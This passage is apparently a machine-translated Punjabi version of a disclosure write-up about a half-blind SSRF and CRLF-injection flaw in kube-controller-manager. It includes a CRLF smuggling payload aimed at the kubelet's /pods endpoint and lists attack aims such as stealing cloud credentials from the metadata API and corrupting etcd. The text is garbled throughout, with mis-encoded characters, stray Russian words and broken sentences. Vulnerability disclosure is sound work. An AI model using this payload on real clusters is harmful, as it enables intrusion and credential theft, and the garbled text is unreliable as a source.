  • เจ‡เฉฑเจ• เจจเจตเจพเจ‚ เจชเฉ€เจตเฉ€เจธเฉ€ เจฌเจฃเจพเจ“;
  • PVC เจฒเจˆ เจตเจฐเจฃเจจ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจธเจ•เฉˆเจจ เจจเจคเฉ€เจœเฉ‡ เจ•เฉฑเจขเฉ‹เฅค

เจ‰เฉฑเจจเจค เจฆเฉเจฐเจฟเจธเจผ #3: เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจ•เจฒเฉฑเจธเจŸเจฐ เจฆเฉ‡ "เจชเฉเจฐเจพเจฃเฉ‡" เจธเฉฐเจธเจ•เจฐเจฃเจพเจ‚ เจตเจฟเฉฑเจš เจธเฉ€เจ†เจฐเจเจฒเจเจซ เจ‡เฉฐเจœเฉˆเจ•เจธเจผเจจ + เจคเจธเจ•เจฐเฉ€ HTTP

เจœเฉ‡เจ•เจฐ เจ‡เจธ เจคเฉ‹เจ‚ เจ‡เจฒเจพเจตเจพ เจชเฉเจฐเจฆเจพเจคเจพ เจ—เจพเจนเจ•เจพเจ‚ เจจเฉ‚เฉฐ K8s เจ•เจฒเฉฑเจธเจŸเจฐ เจฆเฉ‡ เจชเฉเจฐเจพเจฃเฉ‡ เจธเฉฐเจธเจ•เจฐเจฃเจพเจ‚ เจฆเฉ€ เจชเฉ‡เจธเจผเจ•เจธเจผ เจ•เจฐเจฆเจพ เจนเฉˆ ะธ เจจเฉ‡ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ kube-controller-manager เจฆเฉ‡ เจฒเจพเจ—เจพเจ‚ เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจฆเจฟเฉฑเจคเฉ€, เจชเฉเจฐเจญเจพเจต เจนเฉ‹เจฐ เจตเฉ€ เจฎเจนเฉฑเจคเจตเจชเฉ‚เจฐเจจ เจนเฉ‹ เจ—เจฟเจ†เฅค

เจ‡เจน เจ…เจธเจฒ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจนเจฎเจฒเจพเจตเจฐ เจฒเจˆ HTTP เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃเจพ เจฌเจนเฉเจค เจœเจผเจฟเจ†เจฆเจพ เจธเฉเจตเจฟเจงเจพเจœเจจเจ• เจนเฉˆ เจœเฉ‹ เจ‰เจธเจฆเฉ‡ เจตเจฟเจตเฉ‡เจ• 'เจคเฉ‡ เจ‡เฉฑเจ• เจชเฉ‚เจฐเจพ HTTP เจœเจตเจพเจฌ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ เจคเจฟเจ†เจฐ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆเฅค

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจ†เจ–เจฐเฉ€ เจฆเฉเจฐเจฟเจธเจผ เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจ เจฒเจˆ, เจนเฉ‡เจ  เจฒเจฟเจ–เฉ€เจ†เจ‚ เจธเจผเจฐเจคเจพเจ‚ เจชเฉ‚เจฐเฉ€เจ†เจ‚ เจ•เจฐเจจเฉ€เจ†เจ‚ เจชเฉˆเจฃเจ—เฉ€เจ†เจ‚:

  • เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจ•เฉ‹เจฒ kube-controller-manager เจฒเฉŒเจ—เจธ เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจนเฉ‹เจฃเฉ€ เจšเจพเจนเฉ€เจฆเฉ€ เจนเฉˆ (เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ, Azure LogInsights เจตเจฟเฉฑเจš)เฅค
  • เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจ•เจฒเฉฑเจธเจŸเจฐ เจจเฉ‚เฉฐ 1.12 เจคเฉ‹เจ‚ เจ˜เฉฑเจŸ เจ—เฉ‹เจฒเฉฐเจ— เจฆเจพ เจตเจฐเจœเจจ เจตเจฐเจคเจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆเฅค

เจ…เจธเฉ€เจ‚ เจ‡เฉฑเจ• เจธเจฅเจพเจจเจ• เจตเจพเจคเจพเจตเจฐเจฃ เจคเฉˆเจจเจพเจค เจ•เฉ€เจคเจพ เจนเฉˆ เจœเฉ‹ GlusterFS Go เจ•เจฒเจพเจ‡เฉฐเจŸ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจจเจ•เจฒเฉ€ เจŸเจพเจฐเจ—เฉ‡เจŸ เจธเจฐเจตเจฐ (เจ…เจธเฉ€เจ‚ เจซเจฟเจฒเจนเจพเจฒ PoC เจชเฉเจฐเจ•เจพเจธเจผเจฟเจค เจ•เจฐเจจ เจคเฉ‹เจ‚ เจชเจฐเจนเฉ‡เจœเจผ เจ•เจฐเจพเจ‚เจ—เฉ‡) เจตเจฟเจšเจ•เจพเจฐ เจธเฉฐเจšเจพเจฐ เจฆเฉ€ เจจเจ•เจฒ เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจชเจพเจ‡เจ† เจ—เจฟเจ† เจธเฉ€ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€, 1.12 เจคเฉ‹เจ‚ เจ˜เฉฑเจŸ เจ—เฉ‹เจฒเฉฐเจ— เจธเฉฐเจธเจ•เจฐเจฃเจพเจ‚ เจจเฉ‚เฉฐ เจชเฉเจฐเจญเจพเจตเจฟเจค เจ•เจฐเจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ เจนเฉˆเจ•เจฐเจพเจ‚ เจจเฉ‚เฉฐ HTTP เจคเจธเจ•เจฐเฉ€/CRLF เจนเจฎเจฒเฉ‡ เจ•เจฐเจจ เจฆเฉ€ เจ‡เจœเจพเจœเจผเจค เจฆเจฟเฉฐเจฆเจพ เจนเฉˆเฅค

เจ‰เฉฑเจชเจฐ เจฆเฉฑเจธเฉ‡ เจ—เจ เจ…เฉฑเจงเฉ‡-เจ…เฉฐเจจเฉเจนเฉ‡ SSRF เจจเฉ‚เฉฐ เจœเฉ‹เฉœ เจ•เฉ‡ ะฒะผะตัั‚ะต เจ‡เจธเจฆเฉ‡ เจจเจพเจฒ, เจ…เจธเฉ€เจ‚ เจ†เจชเจฃเฉ€ เจชเจธเฉฐเจฆ เจ…เจจเฉเจธเจพเจฐ เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจญเฉ‡เจœเจฃ เจฆเฉ‡ เจฏเฉ‹เจ— เจนเฉ‹ เจ—เจ, เจœเจฟเจธ เจตเจฟเฉฑเจš เจธเจฟเจฐเจฒเฉ‡เจ–, HTTP เจตเจฟเจงเฉ€, เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจ…เจคเฉ‡ เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃเจพ เจธเจผเจพเจฎเจฒ เจนเฉˆ, เจœเฉ‹ เจ•เจฟ kube-controller-manager เจฆเฉเจ†เจฐเจพ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เฉ€เจคเฉ€ เจ—เจˆ เจธเฉ€เฅค

เจ‡เฉฑเจฅเฉ‡ เจ‡เฉฑเจ• เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจตเจฟเฉฑเจš เจ•เฉฐเจฎ เจ•เจฐเจจ เจตเจพเจฒเฉ‡ "เจฆเจพเจฃเจพ" เจฆเฉ€ เจ‡เฉฑเจ• เจ‰เจฆเจพเจนเจฐเจจ เจนเฉˆ resturl เจธเจŸเฉ‹เจฐเฉ‡เจœ เจ•เจฒเจพเจธ, เจœเฉ‹ เจ•เจฟ เจ‡เฉฑเจ• เจธเจฎเจพเจจ เจนเจฎเจฒเฉ‡ เจฆเฉ‡ เจฆเฉเจฐเจฟเจธเจผ เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจฆเจพ เจนเฉˆ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

เจจเจคเฉ€เจœเจพ เจ‡เฉฑเจ• เจ—เจฒเจคเฉ€ เจนเฉˆ เจ…เจฃเจšเจพเจนเฉ‡ เจœเจตเจพเจฌ, เจ‡เฉฑเจ• เจธเฉเจจเฉ‡เจนเจพ เจœเจฟเจธ เจฌเจพเจฐเฉ‡ เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ เจฒเฉŒเจ—เจธ เจตเจฟเฉฑเจš เจฐเจฟเจ•เจพเจฐเจก เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆเฅค เจฎเฉ‚เจฒ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจตเจฐเจฌเฉ‹เจธเจฟเจŸเฉ€ เจธเจฎเจฐเจฅเจฟเจค เจนเฉ‹เจฃ เจฒเจˆ เจงเฉฐเจจเจตเจพเจฆ, HTTP เจœเจตเจพเจฌ เจธเฉฐเจฆเฉ‡เจธเจผ เจฆเฉ€ เจธเจฎเฉฑเจ—เจฐเฉ€ เจตเฉ€ เจ‰เฉฑเจฅเฉ‡ เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆเฅค

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจธเฉฐเจ•เจฒเจช เจฆเฉ‡ เจธเจฌเฉ‚เจค เจฆเฉ‡ เจขเจพเจ‚เจšเฉ‡ เจฆเฉ‡ เจ…เฉฐเจฆเจฐ เจ‡เจน เจธเจพเจกเจพ เจธเจญ เจคเฉ‹เจ‚ เจชเฉเจฐเจญเจพเจตเจธเจผเจพเจฒเฉ€ "เจฆเจพเจฃเจพ" เจธเฉ€เฅค

เจ‡เจธ เจชเจนเฉเฉฐเจš เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ, เจ…เจธเฉ€เจ‚ เจตเฉฑเจ–-เจตเฉฑเจ– เจชเฉเจฐเจฌเฉฐเจงเจฟเจค k8s เจชเฉเจฐเจฆเจพเจคเจพเจตเจพเจ‚ เจฆเฉ‡ เจ•เจฒเฉฑเจธเจŸเจฐเจพเจ‚ 'เจคเฉ‡ เจนเฉ‡เจ เจพเจ‚ เจฆเจฟเฉฑเจคเฉ‡ เจ•เฉเจ เจนเจฎเจฒเจฟเจ†เจ‚ เจจเฉ‚เฉฐ เจ…เฉฐเจœเจพเจฎ เจฆเฉ‡เจฃ เจฆเฉ‡ เจฏเฉ‹เจ— เจธเฉ€: เจฎเฉˆเจŸเจพเจกเฉ‡เจŸเจพ เจฎเฉŒเจ•เจฟเจ†เจ‚ 'เจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐเจพเจ‚ เจฆเฉ‡ เจจเจพเจฒ เจตเจฟเจธเจผเฉ‡เจธเจผ เจ…เจงเจฟเจ•เจพเจฐ เจตเจพเจงเจพ, etcd เจฎเจพเจธเจŸเจฐ เจ‰เจฆเจพเจนเจฐเจจเจพเจ‚ 'เจคเฉ‡ (เจ…เจจเจ‡เจจเจ•เฉเจฐเจฟเจชเจŸเจก) HTTP เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚, เจ†เจฆเจฟเฅค

เจจเจคเฉ€เจœเฉ‡

เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ‡ เจ…เจงเจฟเจ•เจพเจฐเจค เจฌเจฟเจ†เจจ เจตเจฟเฉฑเจš เจเจธเจเจธเจ†เจฐเจเจซ เจฆเฉ€ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฌเจพเจฐเฉ‡ เจœเฉ‹ เจ…เจธเฉ€เจ‚ เจ–เฉ‹เจœเจฟเจ† เจนเฉˆ, เจ‡เจธ เจจเฉ‚เฉฐ เจฆเจฐเจœเจพ เจฆเจฟเฉฑเจคเจพ เจ—เจฟเจ† เจธเฉ€ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N เจœเฉ‡เจ•เจฐ เจ…เจธเฉ€เจ‚ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจชเจฐเฉ€เจฎเฉ€เจŸเจฐ, เจ…เจ–เฉฐเจกเจคเจพ เจตเฉˆเจ•เจŸเจฐ เจจเจพเจฒ เจธเจฌเฉฐเจงเจฟเจค เจธเจฟเจฐเจซ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ 'เจคเฉ‡ เจตเจฟเจšเจพเจฐ เจ•เจฐเจฆเฉ‡ เจนเจพเจ‚ (เจ‡เจ•เจธเจพเจฐเจคเจพ เจตเฉˆเจ•เจŸเจฐ) เจ‡เจธ เจฆเฉ‡ เจคเฉŒเจฐ 'เจคเฉ‡ เจฏเฉ‹เจ— เจนเฉˆ เจ•เฉ‹เจˆ.

เจนเจพเจฒเจพเจ‚เจ•เจฟ, เจ‡เฉฑเจ• เจชเฉเจฐเจฌเฉฐเจงเจฟเจค เจธเฉ‡เจตเจพ เจตเจพเจคเจพเจตเจฐเจฃ เจฆเฉ‡ เจธเฉฐเจฆเจฐเจญ เจตเจฟเฉฑเจš เจธเฉฐเจญเจพเจตเจฟเจค เจจเจคเฉ€เจœเจฟเจ†เจ‚ เจฆเจพ เจฎเฉเจฒเจพเจ‚เจ•เจฃ เจ•เจฐเจจเจพ (เจ…เจคเฉ‡ เจ‡เจน เจธเจพเจกเฉ€ เจ–เฉ‹เจœ เจฆเจพ เจธเจญ เจคเฉ‹เจ‚ เจฆเจฟเจฒเจšเจธเจช เจนเจฟเฉฑเจธเจพ เจธเฉ€!) เจจเฉ‡ เจธเจพเจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจฐเฉ‡เจŸเจฟเฉฐเจ— เจตเจฟเฉฑเจš เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจจเฉ‚เฉฐ เจฎเฉเฉœ เจตเจฐเจ—เฉ€เจ•เจฐเจจ เจ•เจฐเจจ เจฒเจˆ เจชเฉเจฐเฉ‡เจฐเจฟเจค เจ•เฉ€เจคเจพเฅค เจจเจพเจœเจผเฉเจ• CVSS10/10 เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจตเจฟเจคเจฐเจ•เจพเจ‚ เจฒเจˆ.

เจ•เจฒเจพเจ‰เจก เจตเจพเจคเจพเจตเจฐเจจ เจตเจฟเฉฑเจš เจธเฉฐเจญเจพเจตเฉ€ เจชเฉเจฐเจญเจพเจตเจพเจ‚ เจฆเจพ เจฎเฉเจฒเจพเจ‚เจ•เจฃ เจ•เจฐเจฆเฉ‡ เจธเจฎเฉ‡เจ‚ เจธเจพเจกเฉ‡ เจตเจฟเจšเจพเจฐเจพเจ‚ เจจเฉ‚เฉฐ เจธเจฎเจเจฃ เจตเจฟเฉฑเจš เจคเฉเจนเจพเจกเฉ€ เจฎเจฆเจฆ เจ•เจฐเจจ เจฒเจˆ เจนเฉ‡เจ เจพเจ‚ เจตเจพเจงเฉ‚ เจœเจพเจฃเจ•เจพเจฐเฉ€ เจนเฉˆ:

เจ‡เจฎเจพเจจเจฆเจพเจฐเฉ€

  • เจเจ•เฉเจ†เจ‡เจฐ เจ•เฉ€เจคเฉ‡ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจฐเจฟเจฎเฉ‹เจŸเจฒเฉ€ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจจเฉ‚เฉฐ เจšเจฒเจพเจ“เฅค
  • เจธเจฅเจพเจจเจ• เจจเฉˆเฉฑเจŸเจตเจฐเจ• 'เจคเฉ‡ เจชเจพเจ เจœเจพเจฃ เจตเจพเจฒเฉ‡ เจนเฉ‹เจฐ เจธเจฐเฉ‹เจคเจพเจ‚ เจฆเฉ‡ เจจเจพเจฒ IDOR (เจ…เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ†เจฌเจœเฉˆเจ•เจŸ เจฐเฉˆเจซเจฐเฉˆเจ‚เจธ) เจตเจฟเจงเฉ€ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจ‰เจชเจฐเฉ‹เจ•เจค เจฆเฉเจฐเจฟเจธเจผ เจจเฉ‚เฉฐ เจฆเฉเจฌเจพเจฐเจพ เจคเจฟเจ†เจฐ เจ•เจฐเจจเจพเฅค

เจ—เฉเจชเจคเจคเจพ

  • เจนเจฎเจฒเฉ‡ เจฆเฉ€ เจ•เจฟเจธเจฎ เจชเจพเจฐเจฆเจฐเจธเจผเฉ€ เจฒเจนเจฟเจฐ เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐเจพเจ‚ เจฆเฉ€ เจšเฉ‹เจฐเฉ€ เจฒเจˆ เจงเฉฐเจจเจตเจพเจฆ (เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจฎเฉˆเจŸเจพเจกเฉ‡เจŸเจพ API)เฅค
  • เจธเจฅเจพเจจเจ• เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจจเฉ‚เฉฐ เจธเจ•เฉˆเจจ เจ•เจฐเจ•เฉ‡ เจœเจพเจฃเจ•เจพเจฐเฉ€ เจ‡เจ•เฉฑเจ เฉ€ เจ•เจฐเจจเจพ (SSH เจธเฉฐเจธเจ•เจฐเจฃ, HTTP เจธเจฐเจตเจฐ เจธเฉฐเจธเจ•เจฐเจฃ, ...) เจจเฉ‚เฉฐ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เจฐเจจเจพเฅค
  • เจชเฉ‹เจฒเจฟเฉฐเจ— เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ API เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจฎเฉˆเจŸเจพเจกเฉ‡เจŸเจพ API (http://169.254.169.254,โ€ฆ).
  • เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจ—เจพเจนเจ• เจกเฉ‡เจŸเจพ เจšเฉ‹เจฐเฉ€ เจ•เจฐเจจเจพเฅค

เจ‰เจชเจฒเจฌเจงเจคเจพ

'เจคเฉ‡ เจนเจฎเจฒเจพ เจตเฉˆเจ•เจŸเจฐ เจจเจพเจฒ เจธเจฌเฉฐเจงเจค เจธเจพเจฐเฉ‡ เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉเจฐเจฟเจธเจผ เจ‡เจฎเจพเจจเจฆเจพเจฐเฉ€, เจจเฉ‚เฉฐ เจตเจฟเจจเจพเจธเจผเจ•เจพเจฐเฉ€ เจ•เจพเจฐเจตเจพเจˆเจ†เจ‚ เจฒเจˆ เจตเจฐเจคเจฟเจ† เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ เจ•เจฒเจพเจ‡เฉฐเจŸ เจชเฉˆเจฐเฉ€เจฎเฉ€เจŸเจฐ (เจœเจพเจ‚ เจ•เฉ‹เจˆ เจนเฉ‹เจฐ) เจ…เจฃเจ‰เจชเจฒเจฌเจง เจนเฉ‹เจฃ เจคเฉ‹เจ‚ เจฎเจพเจธเจŸเจฐ เจ‰เจฆเจพเจนเจฐเจจเจพเจ‚ เจตเฉฑเจฒ เจฒเฉˆ เจœเจพเจ‚เจฆเจพ เจนเฉˆเฅค

เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ…เจธเฉ€เจ‚ เจ‡เฉฑเจ• เจชเฉเจฐเจฌเฉฐเจงเจฟเจค K8s เจตเจพเจคเจพเจตเจฐเจฃ เจตเจฟเฉฑเจš เจธเฉ€ เจ…เจคเฉ‡ เจ…เจ–เฉฐเจกเจคเจพ 'เจคเฉ‡ เจชเฉเจฐเจญเจพเจต เจฆเจพ เจฎเฉเจฒเจพเจ‚เจ•เจฃ เจ•เจฐ เจฐเจนเฉ‡ เจธเฉ€, เจ…เจธเฉ€เจ‚ เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจฆเฉเจฐเจฟเจธเจผเจพเจ‚ เจฆเฉ€ เจ•เจฒเจชเจจเจพ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเจพเจ‚ เจœเฉ‹ เจ‰เจชเจฒเจฌเจงเจคเจพ เจจเฉ‚เฉฐ เจชเฉเจฐเจญเจพเจตเจค เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเจจเฅค เจตเจงเฉ€เจ• เจ‰เจฆเจพเจนเจฐเจจเจพเจ‚ เจตเจฟเฉฑเจš etcd เจกเฉ‡เจŸเจพเจฌเฉ‡เจธ เจจเฉ‚เฉฐ เจ–เจฐเจพเจฌ เจ•เจฐเจจเจพ เจœเจพเจ‚ Kubernetes API เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจจเจพเจœเจผเฉเจ• เจ•เจพเจฒ เจ•เจฐเจจเจพ เจธเจผเจพเจฎเจฒ เจนเฉˆเฅค

เจ‡เจคเจฟเจนเจพเจธ

  • เจฆเจธเฉฐเจฌเจฐ 6, 2019: MSRC เจฌเฉฑเจ— เจฌเจพเจŠเจ‚เจŸเฉ€ เจจเฉ‚เฉฐ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ€ เจฐเจฟเจชเฉ‹เจฐเจŸ เจ•เฉ€เจคเฉ€ เจ—เจˆเฅค
  • 3 เจœเจจเจตเจฐเฉ€, 2020: เจ•เจฟเจธเฉ‡ เจคเฉ€เจœเฉ€ เจงเจฟเจฐ เจจเฉ‡ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจกเจฟเจตเฉˆเจฒเจชเจฐเจพเจ‚ เจจเฉ‚เฉฐ เจธเฉ‚เจšเจฟเจค เจ•เฉ€เจคเจพ เจ•เจฟ เจ…เจธเฉ€เจ‚ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจฎเฉเฉฑเจฆเฉ‡ 'เจคเฉ‡ เจ•เฉฐเจฎ เจ•เจฐ เจฐเจนเฉ‡ เจนเจพเจ‚เฅค เจ…เจคเฉ‡ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ SSRF เจจเฉ‚เฉฐ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ (เจ‡เจจ-เจ•เฉ‹เจฐ) เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจตเจœเฉ‹เจ‚ เจตเจฟเจšเจพเจฐเจจ เจฒเจˆ เจ•เจฟเจนเจพเฅค เจ…เจธเฉ€เจ‚ เจซเจฟเจฐ เจธเจฎเฉฑเจธเจฟเจ† เจฆเฉ‡ เจธเจฐเฉ‹เจค เจฌเจพเจฐเฉ‡ เจคเจ•เจจเฉ€เจ•เฉ€ เจตเฉ‡เจฐเจตเจฟเจ†เจ‚ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจ†เจฎ เจฐเจฟเจชเฉ‹เจฐเจŸ เจชเฉเจฐเจฆเจพเจจ เจ•เฉ€เจคเฉ€เฅค
  • เจœเจจเจตเจฐเฉ€ 15, 2020: เจ…เจธเฉ€เจ‚ Kubernetes เจกเจฟเจตเฉˆเจฒเจชเจฐเจพเจ‚ เจจเฉ‚เฉฐ เจ‰เจนเจจเจพเจ‚ เจฆเฉ€ เจฌเฉ‡เจจเจคเฉ€ 'เจคเฉ‡ (HackerOne เจชเจฒเฉ‡เจŸเจซเจพเจฐเจฎ เจฐเจพเจนเฉ€เจ‚) เจคเจ•เจจเฉ€เจ•เฉ€ เจ…เจคเฉ‡ เจ†เจฎ เจฐเจฟเจชเฉ‹เจฐเจŸเจพเจ‚ เจชเฉเจฐเจฆเจพเจจ เจ•เฉ€เจคเฉ€เจ†เจ‚เฅค
  • เจœเจจเจตเจฐเฉ€ 15, 2020: Kubernetes เจกเจฟเจตเฉˆเจฒเจชเจฐเจพเจ‚ เจจเฉ‡ เจธเจพเจจเฉ‚เฉฐ เจธเฉ‚เจšเจฟเจค เจ•เฉ€เจคเจพ เจ•เจฟ เจชเจฟเจ›เจฒเฉ€เจ†เจ‚ เจฐเฉ€เจฒเฉ€เจœเจผเจพเจ‚ เจฒเจˆ เจ…เฉฑเจงเฉ‡-เจ…เฉฐเจจเฉเจนเฉ‡ SSRF + CRLF เจ‡เฉฐเจœเฉˆเจ•เจธเจผเจจ เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฎเฉฐเจจเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆเฅค เจ…เจธเฉ€เจ‚ เจคเฉเจฐเฉฐเจค เจฆเฉ‚เจœเฉ‡ เจธเฉ‡เจตเจพ เจชเฉเจฐเจฆเจพเจคเจพเจตเจพเจ‚ เจฆเฉ‡ เจ˜เฉ‡เจฐเฉ‡ เจฆเจพ เจตเจฟเจธเจผเจฒเฉ‡เจธเจผเจฃ เจ•เจฐเจจเจพ เจฌเฉฐเจฆ เจ•เจฐ เจฆเจฟเฉฑเจคเจพ: K8s เจŸเฉ€เจฎ เจนเฉเจฃ เจฎเฉ‚เจฒ เจ•เจพเจฐเจจ เจจเจพเจฒ เจจเจœเจฟเฉฑเจ  เจฐเจนเฉ€ เจธเฉ€เฅค
  • เจœเจจเจตเจฐเฉ€ 15, 2020: MSRC เจ‡เจจเจพเจฎ เจนเฉˆเจ•เจฐเจ“เจจ เจฆเฉเจ†เจฐเจพ เจชเฉเจฐเจพเจชเจค เจ•เฉ€เจคเจพ เจ—เจฟเจ†เฅค
  • 16 เจœเจจเจตเจฐเฉ€, 2020: เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ PSC (เจ‰เจคเจชเจพเจฆ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจ•เจฎเฉ‡เจŸเฉ€) เจจเฉ‡ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจจเฉ‚เฉฐ เจฎเจพเจจเจคเจพ เจฆเจฟเฉฑเจคเฉ€ เจ…เจคเฉ‡ เจธเฉฐเจญเจพเจตเจฟเจค เจชเฉ€เฉœเจคเจพเจ‚ เจฆเฉ€ เจตเฉฑเจกเฉ€ เจ—เจฟเจฃเจคเฉ€ เจฆเฉ‡ เจ•เจพเจฐเจจ เจ‡เจธ เจจเฉ‚เฉฐ เจฎเจพเจฐเจš เจฆเฉ‡ เจ…เฉฑเจง เจคเฉฑเจ• เจ—เฉเจชเจค เจฐเฉฑเจ–เจฃ เจฒเจˆ เจ•เจฟเจนเจพเฅค
  • เจซเจฐเจตเจฐเฉ€ 11, 2020: Google VRP เจ‡เจจเจพเจฎ เจชเฉเจฐเจพเจชเจค เจนเฉ‹เจ‡เจ†เฅค
  • 4 เจฎเจพเจฐเจš, 2020: เจนเฉˆเจ•เจฐเจ“เจจ เจฐเจพเจนเฉ€เจ‚ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจ‡เจจเจพเจฎ เจชเฉเจฐเจพเจชเจค เจนเฉ‹เจ‡เจ†เฅค
  • 15 เจฎเจพเจฐเจš, 2020: เจ•เฉ‹เจตเจฟเจก-19 เจธเจฅเจฟเจคเฉ€ เจฆเฉ‡ เจ•เจพเจฐเจจ เจฎเฉ‚เจฒ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจจเจฟเจฏเจค เจœเจจเจคเจ• เจ–เฉเจฒเจพเจธเจพ เจฎเฉเจฒเจคเจตเฉ€ เจ•เจฐ เจฆเจฟเฉฑเจคเจพ เจ—เจฟเจ†เฅค
  • เจœเฉ‚เจจ 1, 2020: เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ + เจฎเจพเจˆเจ•เฉเจฐเฉ‹เจธเจพเฉฑเจซเจŸ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฌเจพเจฐเฉ‡ เจธเจพเจ‚เจเจพ เจฌเจฟเจ†เจจเฅค

TL; เจกเจพ

  • เจ…เจธเฉ€เจ‚ เจฌเฉ€เจ…เจฐ เจชเฉ€เจ‚เจฆเฉ‡ เจนเจพเจ‚ เจ…เจคเฉ‡ เจชเฉ€เจœเจผเจพ เจ–เจพเจ‚เจฆเฉ‡ เจนเจพเจ‚ :)
